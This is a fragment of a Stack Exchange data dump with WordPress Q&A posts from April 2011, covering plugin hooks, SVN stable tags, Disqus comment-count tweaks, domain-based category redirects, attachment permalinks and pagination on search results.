href=&quot;http://plugins.svn.wordpress.org/wp-favicons/trunk/plugins/request/request_cache.php&quot; rel=&quot;nofollow&quot;&gt;http://plugins.svn.wordpress.org/wp-favicons/trunk/plugins/request/request_cache.php&lt;/a&gt;&#xA;adds specific filters in the  plugin-add filter&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So from &lt;em&gt;the other side&lt;/em&gt; &quot;the backend site&quot; I defined just my own filters where each of the plugins can attach themselves to e.g. &lt;a href=&quot;http://plugins.svn.wordpress.org/wp-favicons/trunk/plugins/metadata_favicon/inc/class-favicon-factory.php&quot; rel=&quot;nofollow&quot;&gt;http://plugins.svn.wordpress.org/wp-favicons/trunk/plugins/metadata_favicon/inc/class-favicon-factory.php&lt;/a&gt; defines filters such as &quot;Config::GetPluginSlug() . 'search'&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in general... I think the settings API drives us to this approach naturally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So... then some come to the point (your question) in which you would think to re-factor your own add-actions to 'something else' which could be observer/mediator patterns or anything else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But... since we followed the WordPress approach using the settings API (the whole thing above), by using this making it easy for 3rd party's to &quot;hook in to&quot; actions, write their own help page extensions etc... I would stick here also with add_action just because &quot;the rest&quot; of the design also follows this and it make it probably easier to comprehend the whole code.&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2011-04-16T11:26:04.353" LastActivityDate="2011-04-16T11:26:04.353" CommentCount="7" />
  <row Id="14905" PostTypeId="2" ParentId="14901" CreationDate="2011-04-16T12:20:27.863" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm wondering if i should refactor my&#xA;  plugin using a 'private'&#xA;  Observer/Mediator pattern ie. collect&#xA;  all relevant add_actions to my parent&#xA;  class only and baking up a pattern to&#xA;  notify/forward subclasses of events,&#xA;  reducing the impact of my plugin to WP&#xA;  event ques.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The event queue is fundamental to WP, so it's pretty fast and &lt;a href=&quot;http://core.trac.wordpress.org/ticket/17110&quot; rel=&quot;nofollow&quot;&gt;getting faster&lt;/a&gt; all the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I don't think it makes any sense, performance wise, to make your own sub-queues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Refactoring your code so that you don't have to make each add_action() call manually is a different matter.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-04-16T12:20:27.863" CommentCount="1" />
  <row Id="14906" PostTypeId="2" ParentId="12262" CreationDate="2011-04-16T12:52:02.480" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://coffee2code.com/wp-plugins/custom-post-limits/&quot; rel=&quot;nofollow&quot;&gt;http://coffee2code.com/wp-plugins/custom-post-limits/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, WordPress provides a single configuration option to control how many posts should be listed on your blog. This value applies for the front page listing, archive listings, category listings, tag listings, and search results. Custom Post Limits allows you to override that value for each of those different sections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, this plugin allows you to define limits for:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Authors archives (the archive listing of posts for any author)&lt;/li&gt;&#xA;&lt;li&gt;Author archives (the archive listing of posts for any specific author)&lt;/li&gt;&#xA;&lt;li&gt;Categories archives (the archive listings of posts for any category)&lt;/li&gt;&#xA;&lt;li&gt;Category archive (the archive listings of posts for any specific category)&lt;/li&gt;&#xA;&lt;li&gt;Date-based archives (the archive listings of posts for any date)&lt;/li&gt;&#xA;&lt;li&gt;Day archives (the archive listings of posts for any day)&lt;/li&gt;&#xA;&lt;li&gt;Front page (the listing of posts on the front page of the blog)&lt;/li&gt;&#xA;&lt;li&gt;Month archives (the archive listings of posts for any month)&lt;/li&gt;&#xA;&lt;li&gt;Search results (the listing of search results)&lt;/li&gt;&#xA;&lt;li&gt;Tags archives (the archive listings of posts for any tag)&lt;/li&gt;&#xA;&lt;li&gt;Tag archive (the archive listings of posts for any specific tag)&lt;/li&gt;&#xA;&lt;li&gt;Year archives (the archive listings of posts for any year)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-04-16T12:52:02.480" />
  <row Id="14907" PostTypeId="5" CreationDate="2011-04-16T15:52:29.890" Score="0" ViewCount="" Body="&lt;p&gt;A &lt;strong&gt;&lt;em&gt;Sandbox&lt;/em&gt;&lt;/strong&gt; is a local or development server used for making and testing changes to site functionality, content, or appearance prior to deployment onto a live, in production site. This allows any changes to be hidden from users of the production site until they have been tested and deemed ready for release.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;LINKS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.apachefriends.org/en/xampp.html&quot; rel=&quot;nofollow&quot;&gt;XAMPP&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mamp.info/en/mamp/index.html&quot; rel=&quot;nofollow&quot;&gt;MAMP&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://sixrevisions.com/tutorials/web-development-tutorials/using-xampp-for-local-wordpress-theme-development/&quot; rel=&quot;nofollow&quot;&gt;Using XAMPP for Local WordPress Theme Development&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="2709" LastEditorDisplayName="" LastEditDate="2011-04-16T17:41:44.953" LastActivityDate="2011-04-16T17:41:44.953" />
  <row Id="14908" PostTypeId="4" CreationDate="2011-04-16T15:52:29.890" Score="0" ViewCount="" Body="a development area (usually on a local server) where code or content changes can be tested without impacting the live or online site" OwnerUserId="-1" LastEditorUserId="2709" LastEditorDisplayName="" LastEditDate="2011-04-16T17:41:49.587" LastActivityDate="2011-04-16T17:41:49.587" />
  <row Id="14909" PostTypeId="5" CreationDate="2011-04-16T15:58:58.153" Score="0" ViewCount="" Body="&lt;p&gt;XAMPP is a Apache web server distribution containing MySQL, PHP and Perl. Distributed by &lt;a href=&quot;http://www.apachefriends.org/en/index.html&quot; rel=&quot;nofollow&quot;&gt;Apache Friends&lt;/a&gt;, it is commonly used to create local server installations (sandboxes) for web site development and testing.  Multiplatform-friendly, XAMPP can be installed on Windows, Linux and Solaris operating systems.&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="2709" LastEditorDisplayName="" LastEditDate="2011-04-16T17:41:53.923" LastActivityDate="2011-04-16T17:41:53.923" />
  <row Id="14910" PostTypeId="4" CreationDate="2011-04-16T15:58:58.153" Score="0" ViewCount="" Body="XAMPP is a Apache web server distribution containing MySQL, PHP and Perl." OwnerUserId="-1" LastEditorUserId="2709" LastEditorDisplayName="" LastEditDate="2011-04-16T17:41:56.997" LastActivityDate="2011-04-16T17:41:56.997" />
  <row Id="14911" PostTypeId="1" CreationDate="2011-04-16T16:29:24.013" Score="1" ViewCount="134" Body="&lt;p&gt;I am about to install a multi-site wordpress and was wondering if there is a big performance degradation if there are multiple concurrent editors using the system at the same time, or what the average safe number of them would be? I am not talking about editing the same record, just editing separate records at the same time. I had a previous wordpress site that would always slow down significantly when there were multiple admins/editors logged in at the same time...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any experience with this, resources they could point me to, or some table of average acceptable loads (say on a shared or dedicated server)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4721" LastActivityDate="2011-05-16T20:51:05.917" Title="upper limit on concurrent editing?" Tags="&lt;performance&gt;" AnswerCount="2" />
  <row Id="14912" PostTypeId="2" ParentId="14911" CreationDate="2011-04-16T19:36:35.687" Score="0" ViewCount="" Body="&lt;p&gt;There is nothing like that. 5 backend users opening a single dashboard page is equivalent to you refreshing (Ctrl + F5) that page 5 times. Its just the load, WP dashboard is a bit heavy but that is totally based on how much your webhost can handle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in short, in general, loading a WP dashboard page is heavy than a front end page and several users using the dashboard at once, increases the load on the server a bit and you will experience slowness if your webhost is crawling at that load.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-04-16T19:36:35.687" />
  <row Id="14913" PostTypeId="2" ParentId="14884" CreationDate="2011-04-16T19:52:05.967" Score="0" ViewCount="" Body="&lt;p&gt;Well the only way i can think of is to create an two dimentions array of the results you want to output, and the number of matching tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$results = array();&#xA;$searched_tags = $_post['my_tax'];&#xA;$searched_tags = explode(&quot;+&quot;, $searched_tags);&#xA;while (have_posts()){&#xA;    $the_post();&#xA;    $result['r'] = '&amp;lt;div class=&quot;post&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;title&quot;&amp;gt;&amp;lt;h2&amp;gt;&amp;lt;a href=&quot;'.get_permalink($post-&amp;gt;ID).'&quot; title=&quot;'.get_the_title($post-&amp;gt;ID).'&quot;&amp;gt;'.get_the_title($post-&amp;gt;ID).'&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;excerpt&quot;&amp;gt;'.get_the_excerpt().'&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;';&#xA;    //get current posts terms of the taxonomy&#xA;    $current_post_terms = wp_get_object_terms( $post-&amp;gt;ID, 'my_tax', array('orderby' =&amp;gt; 'name', 'order' =&amp;gt; 'ASC', 'fields' =&amp;gt; 'names'));&#xA;    $matchs = 0;&#xA;    //check and count matchs&#xA;    foreach ($current_post_terms as $t){&#xA;        if (in_array($t,$searched_tags){&#xA;            $matchs = $matchs + 1;&#xA;        }&#xA;    }&#xA;    $result['m'] = $matchs;&#xA;    //save results to array&#xA;    $results[] = $result;&#xA;}&#xA;//then sort array by matchs count&#xA;//quick sorting function&#xA;function cmp($a, $b) {&#xA;    if ($a['m'] == $b['m']) {&#xA;        return 0;&#xA;    }&#xA;    return ($a['m'] &amp;gt; $b['m']) ? -1 : 1;&#xA;}&#xA;//the actuall array sort&#xA;uasort($results, 'cmp');&#xA;foreach ($results as $result){&#xA;    echo $result['r'];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is untested so try and report back.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-16T19:52:05.967" CommentCount="39" />
  <row Id="14915" PostTypeId="2" ParentId="14911" CreationDate="2011-04-16T20:17:32.027" Score="1" ViewCount="" Body="&lt;p&gt;The most of editing process (from loading editor page to saving post) happens in browser and doesn't involve server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one exceptions is auto save feature - post will be quietly saved by JavaScript in background, every minute by default. This might cause performance issue if you have considerably large posts, considerably many editors and poorly performing database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Auto-save interval can be customized by &lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php#Modify_AutoSave_Interval&quot; rel=&quot;nofollow&quot;&gt;defining &lt;code&gt;AUTOSAVE_INTERVAL&lt;/code&gt; constant in &lt;code&gt;wp-config.php&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-16T20:17:32.027" />
  <row Id="14916" PostTypeId="2" ParentId="14899" CreationDate="2011-04-16T20:22:52.683" Score="1" ViewCount="" Body="&lt;p&gt;Muzzamil - I have looked at your site and it appears you running an outdated plugin which could be possibly causing you the problem.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sexy Bookmarks, Sidebar Login, WP Page Navi and Count Per Day state that they are WordPress 3.1.1 compatible (although one of them hasn't been updated in over a year). However, Syntax Highlighter Pro hasn't been updated since Jan 2010 and is marked as compatible with WordPress 2.9.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/HVKZg.jpg&quot; alt=&quot;expired plugin &quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Begin by deactivating that plugin to see if it is the issue and if so, look for a suitable replacement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2709" LastEditorUserId="2709" LastEditorDisplayName="" LastEditDate="2011-04-16T20:28:53.387" LastActivityDate="2011-04-16T20:28:53.387" CommentCount="1" />
  <row Id="14917" PostTypeId="2" ParentId="14882" CreationDate="2011-04-16T20:23:22.917" Score="2" ViewCount="" Body="&lt;p&gt;File system access is tricky thing between different possible server configurations. If you need to implement it reliably in WP you should look into its API for such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://ottopress.com/2011/tutorial-using-the-wp_filesystem/&quot; rel=&quot;nofollow&quot;&gt;Using the WP_Filesystem&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-16T20:23:22.917" />
  <row Id="14918" PostTypeId="1" AcceptedAnswerId="14919" CreationDate="2011-04-16T20:39:35.037" Score="3" ViewCount="121" Body="&lt;p&gt;If I am pushing a new version (v0.2) of my plugin (v0.1) on the repo, what does I do with the stable tag in readme file? Change it to v0.2?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should come here? Clarifications please :)&lt;/p&gt;&#xA;" OwnerUserId="1521" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-16T20:59:22.340" LastActivityDate="2011-04-16T21:28:25.027" Title="Stable tag of plugin in the readme file" Tags="&lt;svn&gt;&lt;plugin-repository&gt;&lt;readme&gt;" AnswerCount="2" />
  <row Id="14919" PostTypeId="2" ParentId="14918" CreationDate="2011-04-16T20:59:01.920" Score="4" ViewCount="" Body="&lt;p&gt;Yes. You need to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Change stable tag to 0.2&lt;/li&gt;&#xA;&lt;li&gt;Commit (or copy/branch) new version to &lt;code&gt;/tags/0.2&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Don't forget to update version to 0.2 in plugin's header&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-16T21:25:21.673" LastActivityDate="2011-04-16T21:25:21.673" CommentCount="7" />
  <row Id="14921" PostTypeId="2" ParentId="10346" CreationDate="2011-04-16T21:27:06.527" Score="0" ViewCount="" Body="&lt;p&gt;Thanks both for these answers. Using @Evan's or @Dan's solution works in Admin but as replied by @Evan I needed also to comment out the extra html passed by Disqus comment counts for other parts of my theme,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function dsq_comments_number($count) {&#xA;    global $post;&#xA;&#xA;    if ( dsq_can_replace() ) {&#xA;        //return '&amp;lt;span class=&quot;dsq-postid&quot; rel=&quot;'.htmlspecialchars(dsq_identifier_for_post($post)).'&quot;&amp;gt;'.$count.'&amp;lt;/span&amp;gt;';&#xA;        return $count;&#xA;    } else {&#xA;        return $count;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The comment count display my theme uses on home page for each post was kind of broken. It uses comments_number() wp function to supply formatting based on comment count. There is second Disqus function, dsq_comments_text($comment_text), that I also had to change, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; function dsq_comments_text($comment_text) {&#xA;        global $post;&#xA;        if ( dsq_can_replace() ) {&#xA;            return '&amp;lt;span class=&quot;dsq-postid&quot;&#xA; rel=&quot;'.htmlspecialchars(dsq_identifier_for_post($post)).'&quot;&amp;gt;'.$comment_text.'&amp;lt;/span&amp;gt;';&#xA;        } else {&#xA;            return $comment_text;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I replaced the text Disqus had 'View Comments' with the var $comment_text so the strings my theme passes in the comments_number() will still get used and Disqus can still past its added html. I image that this change might not be needed for some themes if they are only using the get_comments_number(). Haven's seen that is breaks anything with Disqus either.&lt;/p&gt;&#xA;" OwnerUserId="4724" LastActivityDate="2011-04-16T21:27:06.527" />
  <row Id="14922" PostTypeId="2" ParentId="14918" CreationDate="2011-04-16T21:28:25.027" Score="1" ViewCount="" Body="&lt;p&gt;I'd recommend this order of operations:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Update your plugin's &lt;code&gt;.php&lt;/code&gt; file in trunk to reflect the new version, and commit&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;svn cp trunk tags/0.2&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Edit &lt;code&gt;tags/0.2/readme.txt&lt;/code&gt; and &lt;code&gt;trunk/readme.txt&lt;/code&gt; to reflect new stable tag&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;svn commit -m &quot;Tagging ver 0.2&quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-04-16T21:28:25.027" />
  <row Id="14923" PostTypeId="1" AcceptedAnswerId="15637" CreationDate="2011-04-16T22:34:33.733" Score="1" ViewCount="176" Body="&lt;p&gt;I use &lt;a href=&quot;http://wordpress.org/extend/plugins/mathjax-latex/&quot; rel=&quot;nofollow&quot;&gt;MathJax&lt;/a&gt; to blog my mathematical thoughts. Is it possible to convert my WordPress posts (with plenty of math) into a LaTeX document? The plugin should prompt me to select posts for the paper, and should do the rest automatically.&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-26T14:54:09.120" LastActivityDate="2011-08-23T01:46:33.710" Title="Export blog posts with MathJax to LaTeX document?" Tags="&lt;plugin-recommendation&gt;&lt;export&gt;&lt;latex&gt;&lt;plugin-mathjax&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="14924" PostTypeId="1" AcceptedAnswerId="14931" CreationDate="2011-04-16T22:41:37.157" Score="0" ViewCount="157" Body="&lt;p&gt;Theres a way to convert links like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.localhost.lh/?attachment_id=41&quot; rel=&quot;nofollow&quot;&gt;http://www.localhost.lh/?attachment_id=41&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;into:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.localhost.lh/attachment/id&quot; rel=&quot;nofollow&quot;&gt;http://www.localhost.lh/attachment/id&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.localhost.lh/author/attachment/id&quot; rel=&quot;nofollow&quot;&gt;http://www.localhost.lh/author/attachment/id&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2011" LastEditorUserId="2011" LastEditorDisplayName="" LastEditDate="2011-04-16T22:46:41.813" LastActivityDate="2011-08-01T11:19:31.860" Title="Pretty URLs or permalinks for attachments" Tags="&lt;url-rewriting&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="14925" PostTypeId="2" ParentId="14837" CreationDate="2011-04-16T23:04:31.487" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@aj martin:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's two different solutions &lt;em&gt;(editing the specifics for your use case)&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Doing a Redirect:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;1.) At the top of your &lt;code&gt;/wp-config.php&lt;/code&gt; file add the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_yoursite_blogger_domain( $_SERVER['SERVER_NAME'] ) ) {&#xA;  $domain = str_replace( 'www.', '', $_SERVER['SERVER_NAME'] );&#xA;  define( 'WP_SITEURL', 'http://' . $domain );&#xA;  define( 'WP_HOME', 'http://' . $domain );&#xA;} else if ( ! is_main_domain( $_SERVER['SERVER_NAME'] ) ) {&#xA;  header( &quot;Location:http://{$yoursite_main_domain}&quot;, true, 301 );&#xA;  exit;&#xA;}&#xA;function is_main_domain( $domain ) {&#xA;  $domain = str_replace( 'www.', '', $_SERVER['SERVER_NAME'] );&#xA;  return strpos( $domain, 'maindomain.com' ) !== false;&#xA;}&#xA;function is_yoursite_blogger_domain( $domain ) {&#xA;  $domain = str_replace( 'www.', '', $_SERVER['SERVER_NAME'] );&#xA;  return in_array( $domain, array(&#xA;    'blogger1.com',&#xA;    'blogger2.com',&#xA;    'blogger3.com',&#xA;    'blogger4.com',&#xA;    'blogger5.com',&#xA;    'uncategorized.dev', // Only here for use on my own test site&#xA;   ) );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2.) Then add this to your theme's &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'template_redirect', 'yoursite_template_redirect' );&#xA;function yoursite_template_redirect() {&#xA;  $path = $_SERVER['REQUEST_URI'];&#xA;  if (strpos($path,&quot;/category/&quot;) === false) {&#xA;    $domain = str_replace( 'www.', '', $_SERVER['SERVER_NAME'] ) ;&#xA;    $category = str_replace( '.com', '', $domain );&#xA;    $category = str_replace( '.dev', '', $domain );  // Only for my own test site&#xA;    $location = &quot;http://{$domain}/category/{$category}/&quot; ;&#xA;      wp_safe_redirect( $location );&#xA;      exit;&#xA;    }&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above will do a 302 redirect to &lt;code&gt;http://blogger1.com/category/blogger1/&lt;/code&gt; when a request is made of any URL &lt;code&gt;http://blogger1.com&lt;/code&gt; other than one that starts with &lt;code&gt;http://blogger1.com/category/&lt;/code&gt; &lt;em&gt;(you made need to make some changes to support other URLs.)&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Doing a &lt;em&gt;&quot;Rewrite&quot;:&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;What the above does not support is &lt;em&gt;&quot;rewrite&quot;&lt;/em&gt; vs. a &lt;em&gt;&quot;redirect&quot;&lt;/em&gt; solution. If you want to that it is a little more complicated. The following code will result in the category page being loaded in the root path for any domain that is mapped in your &lt;code&gt;is_yoursite_blogger_domain()&lt;/code&gt; function. Of course your &lt;code&gt;is_yoursite_blogger_domain()&lt;/code&gt; function could be validating against existing categories but I don't know the full criteria so I just hard coded it. You can copy this code into your function's &lt;code&gt;theme.php&lt;/code&gt; file or put into a &lt;code&gt;.php&lt;/code&gt; file of a plugin you might be writing. Note that this code also requires the code in the &lt;code&gt;/wp-config.php&lt;/code&gt; file above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'category_link', 'yoursite_category_link', 11, 2 );&#xA;function yoursite_category_link( $category_link, $category_id ) {&#xA;  // Make sure any blogger category links are truncated to the root&#xA;  $parts = explode( '/', $category_link );&#xA;  if ( is_yoursite_blogger_domain( $parts[2] ) ) {&#xA;    // if %category% in http://%domain%/category/%category%/ &#xA;    // equals %domain% minus the 'com' extension&#xA;    if ( &quot;{$parts[4]}.&quot; == substr( $parts[2], 0, strlen( $parts[4] ) + 1 ) ) {&#xA;     $category_link = &quot;http://{$parts[2]}/&quot;; // Strip 'category/%category%/'&#xA;    }&#xA;  }&#xA;  return $category_link;&#xA;}&#xA;&#xA;add_action( 'init', 'yoursite_init' );&#xA;function yoursite_init() {&#xA;  // Remove the canonical redirect to the category page&#xA;  // if %category% in http://%category%.%ext%/ is a blogger category.&#xA;  if ( is_yoursite_blogger_domain( $_SERVER['SERVER_NAME'] ) ) {&#xA;    $parts = explode( '/', strtolower( $_SERVER['REQUEST_URI'] ) );&#xA;    if (count($parts) &amp;gt; 1) {&#xA;      $category_base = get_option( 'category_base' );&#xA;      if ( empty( $category_base ) )&#xA;        $category_base = 'category';&#xA;      if ( $category_base == $parts[1] ) {&#xA;        remove_filter( 'template_redirect', 'redirect_canonical' );&#xA;      }&#xA;    }&#xA;  }&#xA;}&#xA;&#xA;add_action( 'template_redirect', 'yoursite_template_redirect' );&#xA;function yoursite_template_redirect() {&#xA;  // Redirect any http://%category%.%ext%/category/%category%/ to http://%category%.%ext%/&#xA;  if ( is_yoursite_blogger_domain( $_SERVER['SERVER_NAME'] ) ) {&#xA;    $category_base = get_option('category_base');&#xA;    if (empty($category_base))&#xA;      $category_base = 'category';&#xA;    $parts = explode( '/', strtolower( $_SERVER['REQUEST_URI'] ) );&#xA;    if ( $category_base == $parts[1] &amp;amp;&amp;amp;&#xA;       &quot;{$parts[2]}.&quot; == substr( $_SERVER['SERVER_NAME'], 0, strlen( $parts[2] ) + 1 ) ) {&#xA;      wp_safe_redirect( &quot;http://{$_SERVER['SERVER_NAME']}/&quot;, 301 );&#xA;      exit;&#xA;    }&#xA;  }&#xA;}&#xA;&#xA;add_action( 'request', 'yoursite_request' );&#xA;function yoursite_request($query_vars) {&#xA;  // If %category% in http://%category%.%ext%/ is a blogger category set the&#xA;  // 'category_name' query var to tell WordPress to display the category page.&#xA;  $domain = $_SERVER['SERVER_NAME'];&#xA;  if ( is_yoursite_blogger_domain( $domain ) ) {&#xA;    $path = $_SERVER['REQUEST_URI'];&#xA;    if ( strpos( $path, &quot;/category/&quot; ) === false ) {&#xA;      $domain = str_replace( 'www.', '', $domain ) ;&#xA;      $category_name = substr( $domain, 0, strrpos( $domain, '.' ) );&#xA;      $query_vars = array( 'category_name' =&amp;gt; $category_name );&#xA;    }&#xA;  }&#xA;  return $query_vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's a screen shot to show the second example in action:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20110416-182443.png&quot; alt=&quot;Screenshot of a WordPress site using hooks to enable a category page to be displayed in the URL root for selected categories&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another probably better way to approach this would be with a custom taxonomy instead of categories, or even better yet, map the domain to a user name instead. That way it's less work on the authors and you don't have to worry about maintaining the blogger list in code or in a separate taxonomy list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for you &lt;em&gt;&quot;bonus&quot;&lt;/em&gt;, sorry but I don't follow what you want there.&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-04-23T03:29:04.153" LastActivityDate="2011-04-23T03:29:04.153" CommentCount="11" />
  <row Id="14926" PostTypeId="2" ParentId="14924" CreationDate="2011-04-16T23:32:40.333" Score="0" ViewCount="" Body="&lt;p&gt;José Pablo&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to changing the &lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks&quot; rel=&quot;nofollow&quot;&gt;permalinks settings&lt;/a&gt; in your dashboard to make pretty URL's, you can create a folder named &quot;attachments&quot; in the root of your site to hold the files that you would like site visitors to download. In addition to uploading the files you wish to share, you should create (using notepad or any text editor) a blank file named index.html and upload it to the &quot;attachments&quot; directory.  Adding the blank file will prevent people from browsing the directory and downloading all of the files unless you provide them with the specific URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Saludos&lt;/p&gt;&#xA;" OwnerUserId="2709" LastActivityDate="2011-04-16T23:32:40.333" />
  <row Id="14927" PostTypeId="1" CreationDate="2011-04-17T00:45:03.190" Score="0" ViewCount="179" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://designdisease.com/portfolio/dilectio_wordpress_theme/&quot; rel=&quot;nofollow&quot;&gt;Dilectio theme&lt;/a&gt; and &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-pagenavi/&quot; rel=&quot;nofollow&quot;&gt;WP-PageNavi plugin&lt;/a&gt;. The plugin creates links to multiple pages perfectly on every page except for the search results page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, when I search for the keyword &quot;lamp,&quot; it indicates there are 2 pages of search results. When I click on page 2, it takes me to page 2 of my blog, not page 2 of the search results. Can someone please help me fix this?&lt;/p&gt;&#xA;" OwnerUserId="4726" LastActivityDate="2011-05-18T08:51:28.020" Title="WP-PageNavi plugin doesn't work with multiple pages of search results" Tags="&lt;plugins&gt;&lt;search&gt;&lt;pages&gt;" AnswerCount="2" />
  <row Id="14928" PostTypeId="2" ParentId="14927" CreationDate="2011-04-17T01:05:09.333" Score="0" ViewCount="" Body="&lt;p&gt;Dilectio theme comes with an old version of WP-PageNavi plugin embedded in its functions.php file, so the best thing you can do is just remove the &lt;code&gt;wp_pagenavi&lt;/code&gt; function form the functions.php, install the plugin and you should be set.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-17T01:05:09.333" CommentCount="5" />
